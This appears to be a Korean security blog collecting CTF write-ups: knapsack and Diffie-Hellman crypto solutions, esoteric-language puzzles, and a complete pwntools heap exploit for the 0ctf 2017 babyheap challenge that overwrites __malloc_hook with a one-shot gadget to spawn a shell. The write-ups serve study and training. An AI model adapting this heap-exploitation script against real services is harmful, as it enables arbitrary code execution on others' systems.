분류 전체보기

배낭암호(Knapshot)

2018. 11. 26. 17:00

관련 개념블로그

http://ezbeat.tistory.com/332

http://jihwan4862.tistory.com/22


암호학 팀원이 쓴글

http://chieze.tistory.com/7


격자줄이기는 다음에 차차..

관련 문제로는 H3XOR CTF의 Cryingbag문제가 있다. 

출제자 writeup


대부분이 Bruteforcing으로 풀었다고 하더라... 심지어 출제자도... 참고로 필자는 (역연산+알려진 플래그앞부분)으로 풀었었다.

역연산이 됬다는게 신기..


아래는 암복호화 소스

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
import random
from binascii import hexlify, unhexlify
from fractions import gcd
 
def genRandomSINumber(arr):
    s=sum(arr)
    return random.randrange(s+1,(s+1)<<2)
 
def genCoprime(n):
    x=n
    while gcd(n,x)!=1:
        x=random.randrange(n>>1+1,n)
    return x
 
def keyGenerate(bits=1024):
    if bits%4!=0:
        raise Exception("Weird bits")
    w = []
    for i in range(bits):
        w.append(genRandomSINumber(w))
 
    q = genRandomSINumber(w)
    r = genCoprime(q)
    pubkey = [(r * i) % q for i in w]
    privkey = (w, q, r)
    return pubkey,privkey
 
def encrypt(pubkey,msg):
    msgbits = bin(msg)[2:]
    if len(pubkey)<len(msgbits):
        raise Exception("Msg is too big")
    plainbits=['0']*(4-len(msgbits)%4)
    plainbits+=msgbits
    c=0
    for a,b in zip(map(int,plainbits),pubkey):
        c+=a*b
    return c
 
def egcd(a, b):
    if a == 0:
        return (b, 0, 1)
    else:
        g, y, x = egcd(b % a, a)
        return (g, x - (b // a) * y, y)
 
def modinv(a, m):
    g, x, y = egcd(a, m)
    if g != 1:
        raise Exception('modular inverse does not exist')
    else:
        return x % m    
    
def decrypt(privkey,enc):
    w = privkey[0]
    q = privkey[1]
    r = privkey[2]
    
    g = modinv(r,q)
    
    plainbag = (enc*g)%q
    plainbits = ""
 
    for i in range(len(w)-1, -1, -1):
        if plainbag-w[i] >= 0:
            plainbag-=w[i]
            plainbits += "1"
        else:
            plainbits += "0"
    return int(plainbits[::-1],2)
    
if __name__ == '__main__':
    msg=input("Your Message : ")
    msg=int(hexlify(msg.encode()),16)
    bits=len(bin(msg))-2
    bits+=(4-bits%4)
 
    p,q=keyGenerate(bits)
    c=encrypt(p,msg)
    
    msg = decrypt(q,c)
    print(unhexlify(hex(msg)[2:]))
cs


저작자표시

'Crypto' 카테고리의 다른 글

[Crypto] CTR 모드 공격 Break fixed-nonce CTR  (0) 2019.09.17
JohnTheRipper Password 크랙 재시도가 안될시 해결법  (0) 2018.11.27
An ECB/CBC Mode and ECB Attack  (0) 2018.08.10
Breaking_XOR_Cipher  (0) 2018.08.03
Zip Crack Password! rockyou  (0) 2018.07.30

[EasyCTF] Diffie-Cult (디피-헬만 문제)

2018. 11. 26. 11:59

디피-헬만 문제입니다.


최근했던 CTF에 이와 같은 문제가 나와서 비슷한 유형의 다른 CTF 문제를 가져와 풀어보겠습니다.


 I just intercepted some odd messages.txt. It appears to be a Diffie-hellman protocol, but my math isn't good enough to figure out what the final shared key is. Help!


g^a mod p = 421049228295820

g^b mod p = 105262307073955

p = 442101689710611



디피-헬만(Diffie–Hellman)에서의 키교환 문제이다. 문제에서 flag값은 비밀키인 g^(ab) mod p 의 값이다.


g값도 안주어진다는 점에서 꽤 어려워보이는 문제이나. p값이 작아 소인수분해가 되기 때문에 이를 이용하여 문제를 풀 수 잇다.


factorDB에서 소인수분해를 해서 가져와보았다.


A = g^a mod p = 421049228295820 = 2^2 * 5 * 17 * 19^3 * 37 * 47^4 

B = g^b mod p = 105262307073955 = 5 * 17 * 19^3 * 37 * 47^4

p = 442101689710611 = 3 * 7 * 17 * 19^3 * 37 * 47^4 


A와 B와 p가 공약수를 가지는 것을 알 수 있습니다. 


공약수는 k = 17 * 19^3 * 37 · 47^4 와 같습니다.


그렇다면 이제 아래와 같이 나타낼 수 있습니다.


 k = 17 * 19^3 * 37 * 47^4

g^a mod p = 421049228295820 = 2^2 * 5 * k = 20k

g^b mod p = 105262307073955 = 5 * k = 5k

p = 442101689710611 = 3 * 7 * k = 21k


g^a mod 21k = 20k = -k [since 20k mod 21k = -k]

==> (g^a)^b mod 21k = (-k)^b

==> g^(ab) mod p = (-k)^b [since p = 21k] 


자... 이제 단순화되었으니 g^ab가 될 후보들은 구하면...


 (-k)^1 mod p = 421049228295820

(-k)^2 mod p = 42104922829582

(-k)^3 mod p = 357891844051447

(-k)^4 mod p = 168419691318328

(-k)^5 mod p = 105262307073955

(-k)^6 mod p = 231577075562701

(-k)^7 mod p = 421049228295820  [ same as -k ^ 1 ]

...


위와 같이 사이클이 반복됨을 알 수 있습니다. 즉 6개의 값들중 하나가 비밀키입니다.


여기선 421049228295820이 비밀키였습니다.




*같은 유형의 다른문제


p : 739626899866411020995105608928036598669313466029070991080755558690

g^a mod p : 711179711410010597110678470123112114105109101951029799116111114125

g^b mod p : 256024696107603814959844249244320361077839276702370727681800001085



p = 2 * 5 * 13 * 1804529 * 6726547 * 468719798853001437040762632814600786193829912273851

A =  5^3 * 1804529 * 6726547 * 468719798853001437040762632814600786193829912273851

B = 3^2 * 5 * 1804529 * 6726547 * 468719798853001437040762632814600786193829912273851


k = 5  *  1804529 * 6726547 * 468719798853001437040762632814600786193829912273851


p = 26k

A= 25k

B = 9k


(g^a) mod 26k = 25k  = -k mod 26k

(g^a)^b = A^b = mod 26k = (-k)^b mod 26k


CTF{711179711410010597110678470123112114105109101951029799116111114125}




저작자표시

'Write-up > Crypto' 카테고리의 다른 글

[noxCTF] PlotTwist (Mersenne Twister)  (0) 2018.11.26
[TUCTF 2018] JimmysCrypto (XOR 암호)  (0) 2018.11.26
[RITSEC2018] DarkPearAI  (0) 2018.11.19
[CSAW Quals 2017] BabyCrypt Writeup  (0) 2018.09.14
[hackcon18] Ron, Adi and Leonard (Wiener Attack)  (0) 2018.08.18

[RITSEC2018] DarkPearAI

2018. 11. 19. 20:52

Diffie-Hellman 문제다.


풀수있었는데, 500점이나 되는 점수에 못풀줄 알았다 ㄷㄷ;


 

DarkPearAI

500

3:371781196966866977144706219746579136461491261

Person1: applepearblue
Person2: darkhorseai

What is their secret key?
(Submit like RITSEC{KEY_GOES_HERE})

Hint 1: Hopefully you can get the flag in a diffie jiffy!

Hint 2: If you can type at a decent pace this challenge can be completed in under 30 seconds

Author: Cictrone



뭐;; 디피헬만은 공부부터 제대로 해야하는게 맞긴하다.

저번에도 디피헬만 문제를 한번 봐서 sage코드로 정리된게 몇개 있다.

이번것도 쉽게 풀린다.


1
2
3
4
5
6
7
8
p = 122488473105892538559311426995019720049507640328167439356838797108079051563759027212419257414247
g = 2
h = 41265478705979402454324352217321371405801956976004231887598587967923553448391717998290661984177
 
R = IntegerModRing(p)
x = discrete_log(R(h), R(g))
 
print(x)
cs


이게 가지고있는 소스중 하나..


이게 이번것


1
2
3
4
5
6
7
8
9
10
11
12
n=371781196966866977144706219746579136461491261
g=3
 
m1 = 97112112108101112101097114098108117101
m2 = 100097114107104111114115101097105
 
F = IntegerModRing(n)
 
a = discrete_log(F(m1), F(g))
b = discrete_log(F(m2), F(g))
 
print 'RITSEC{'+str(IntegerModRing(n)(g)**(a*b))+'}'
cs


저작자표시

'Write-up > Crypto' 카테고리의 다른 글

[TUCTF 2018] JimmysCrypto (XOR 암호)  (0) 2018.11.26
[EasyCTF] Diffie-Cult (디피-헬만 문제)  (0) 2018.11.26
[CSAW Quals 2017] BabyCrypt Writeup  (0) 2018.09.14
[hackcon18] Ron, Adi and Leonard (Wiener Attack)  (0) 2018.08.18
[ISITDTU 2018] XOR Write-up  (0) 2018.07.30

[RITSEC2018] What_Th._Fgck writeup

2018. 11. 19. 19:50

와 이건... 무슨 미궁 문제인줄 ;;


큰 CTF 대회에선 나올 것 같지않은 유형이지만.. 뭐 이런것도 있다~ 싶은 정도로 적어둔다.

문제는 아래와 같다.


OGK:DI_G;lqk"Kj1;"a"yao";fr3dog0o"vdtnsaoh"patsfk{+

Author: hulto 


이렇다.


처음에는 치환암호처럼 다뤄봣다 (그도 그럴게 OGK:DI_ 이 부분을 RITSEC로 바꾸면 딱맞아떨어진다.)

그런데 시간이 너무 오래걸렸고, 너무 단서가 적었다 ㅡㅡ;


그래서 결국 못풀었는데;; 이게 드보락(DVORAK) 키보드로 친거라서 그렇다.

쿼티(QWERTY) 키보드에서 치는걸로 바꿔주면 플래그가 나온다...


http://wbic16.xedoloh.com/dvorak.html

저작자표시

'Write-up > Misc (+ Forensic, Stegano)' 카테고리의 다른 글

[PlaidCTF] can you guess me (ver. English)  (1) 2019.04.15
[PlaidCTF] can you guess me  (0) 2019.04.15
[RITSEC2018] RIP writeup  (0) 2018.11.19
[ISITDTU 2018] Play With ... Write-up  (0) 2018.07.30
[ISITDTU 2018] Drill Write-up  (0) 2018.07.30

[RITSEC2018] RIP writeup

2018. 11. 19. 19:43

오랜만에 쓰는 Misc 분야 write up이다.


사실 문제는 크게 어려운건 없고, misc에 자주나오는 난해한 프로그래밍 언어의 하나이다.

문제는 아래와 같다.


+[----->+++<]>+.++++++++++++..----.+++.+[-->+<]>.-----------..++[--->++<]>+...---[++>---<]>.--[----->++<]>+.----------.++++++.-.+.+[->+++<]>.+++.[->+++<]>-.--[--->+<]>-.++++++++++++.--.+++[->+++++<]>-.++[--->++<]>+.-[->+++<]>-.--[--->+<]>-.++[->+++<]>+.+++++.++[->+++<]>+.----[->++<]>.[-->+<]>++.+++++++++.--[------>+<]>.--[-->+++<]>--.+++++++++++++.----------.>--[----->+<]>.-.>-[--->+<]>--.++++.---------.-.

Author: oneNutW0nder 


brainfuck 언어로 작성된 코드가 주어지는데... 이것까진 익숙하다. 

brainfuck interpreter로 실행시켜보면 youtube url이 나오는데... 별 상관없는 내용이다.


주어진 문제가 중요하다. 아래와 같은 png파일이 주어진다.

문제풀때는 몰랐는데 piet라는 난해한 프로그래밍 언어중 하나라고 한다. (https://esolangs.org/wiki/Piet)



가운데 있는 스탠리 공룡을 지워주고, piet 인터프리터로 해석하면된다.

https://www.bertnase.de/npiet/npiet-execute.php








https://www.bertnase.de/npiet/npiet-execute.php







저작자표시

'Write-up > Misc (+ Forensic, Stegano)' 카테고리의 다른 글

[PlaidCTF] can you guess me  (0) 2019.04.15
[RITSEC2018] What_Th._Fgck writeup  (0) 2018.11.19
[ISITDTU 2018] Play With ... Write-up  (0) 2018.07.30
[ISITDTU 2018] Drill Write-up  (0) 2018.07.30
[MeePwnCTF 2018] White Snow, Black Shadow  (0) 2018.07.16

[pwnable.kr] rsa calculator

2018. 10. 28. 01:12

[pwnable.kr] echo2

2018. 10. 23. 13:56

[pwnable.kr] crypto1

2018. 10. 22. 14:44

[pwnable.kr] fix

2018. 10. 22. 00:15

[0ctf 2017] babyheap

2018. 10. 20. 01:36

풀었습니다!

fastbin fd를 덮어서 이리저리 조작...


0x70 사이즈의 fastbin fd를 __malloc_hook의 주소로 덮어서 새로운 청크를 할당하여 그곳을 oneshot으로 덮어 쉘을 얻었습니다.


참고로 __malloc_hook은 사용자가 hook함수를 등록해놓았을 때, malloc 호출시 실행되는 함수로 보통 디버깅용도로 사용된다고합니다.

그래서 __malloc_hook 을 덮으면 malloc시에 원하는 함수를 실행시킬수 있습니다.


사실 타 라이트업이 굉장히 많기도해서 설명은 생략하고... 코드의 주석으로 대체!



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
from pwn import *
 
conn = process("./0ctfbabyheap")
 
def Allocate(size):
    conn.recvuntil("Command: ")
    conn.sendline("1")
    conn.recvuntil("Size: ")
    conn.sendline(str(size))
    
def Fill(idx, size, content):
    conn.recvuntil("Command: ")
    conn.sendline("2")
    conn.recvuntil("Index: ")
    conn.sendline(str(idx))
    conn.recvuntil("Size: ")
    conn.sendline(str(size))
    conn.recvuntil("Content: ")
    conn.send(content)
    
def Free(idx):
    conn.recvuntil("Command: ")
    conn.sendline("3")
    conn.recvuntil("Index: ")
    conn.sendline(str(idx))
    
def Dump(idx):
    conn.recvuntil("Command: ")
    conn.sendline("4")
    conn.recvuntil("Index: ")
    conn.sendline(str(idx))
 
Allocate(10)
Allocate(10)
Allocate(10)
Allocate(10)
Allocate(128)
Allocate(0x60)
Allocate(0x60)
Allocate(0x60)
 
# stage1. fake chunk size 0x41 (idx:1)
# leak heap_address
payload = p64(0)*3
payload += p64(0x41)
Fill(0, len(payload), payload)
Free(1)    # free idx:1
conn.sendline("c")
 
Allocate(48) # reallocate idx:1 size is  0x21 -> 0x41
payload = p64(0)*3    
payload += p64(0x21)    ## calloc! so.. Recover idx 3 chunk
Fill(1, len(payload), payload) 
 
Free(3) # 3
conn.sendline("c")
Free(2) # 2
conn.sendline("c")
 
# leak heap_addr
Fill(1, 0x20, "A"*0x20)
Dump(1)
conn.recvuntil("A"*0x20)
heap_addr = u64(conn.recv(6)+"\x00"*2)-0x60
log.info("heap_addr : "+hex(heap_addr));
 
# fastbin fd_overwrite
payload = p64(0)*3
payload += p64(0x21)
payload += p64(0)*3
payload += p64(0x21)
payload += p64(heap_addr+0x80) # smallbin chunk address
Fill(0, len(payload), payload)
 
Allocate(10) # idx 2 
payload = p64(0)*3
payload += p64(0x21)
payload += p64(0)*3
payload += p64(0x21)    # smallbin chunk size -> overwrite fastbin size
Fill(2, len(payload), payload)
 
Allocate(10) # idx 3 allocate fastbin(but this is smallbin chunk)
 
# Recover smallbin_size
payload = p64(0)*3
payload += p64(0x21)
payload += p64(0)*3
payload += p64(0x91)
Fill(2, len(payload), payload)
Free(4)
conn.sendline("c")
 
# leak Library Address
Dump(3)
conn.recvuntil("Content: \n")
libc_addr = u64(conn.recv(6)+"\x00"*2) - 0x3c27b8
log.info("libc_addr : "+hex(libc_addr))
 
malloc_hook = libc_addr + 0x3c2740
oneshot = libc_addr + 0x4647c #0x4647c 0xe9415 0xea36d
log.info("malloc_hook : "+hex(malloc_hook))
log.info("oneshot : "+hex(oneshot))
 
## overwrite fd
Free(7)
conn.sendline("c")
Free(6)
conn.sendline("c")
 
payload = p64(0)*13
payload += p64(0x71)
payload += p64(malloc_hook-0x13)
Fill(5, len(payload), payload)
 
Allocate(0x60) # idx 4
Allocate(0x60) # idx 6
 
## overwrite malloc_hook -> oneshot
payload = "\x00"*0x3
payload += p64(oneshot)
Fill(6, len(payload), payload)
 
Allocate(0x1) # idx 4
 
conn.interactive()
 
 
cs


저작자표시

'Write-up > Pwnable' 카테고리의 다른 글

[Codegate 2019] 20000 ( grep 이용하기)  (0) 2019.01.30
[Insomni'hack 2019] onewrite writeup  (0) 2019.01.21
[9447 CTF 2015] Search Engine  (1) 2018.09.30
[noxCTF] The Black Canary writeup  (0) 2018.09.13
[PlaidCTF] ropasaurusrex  (0) 2018.08.27

+ Recent posts

티스토리툴바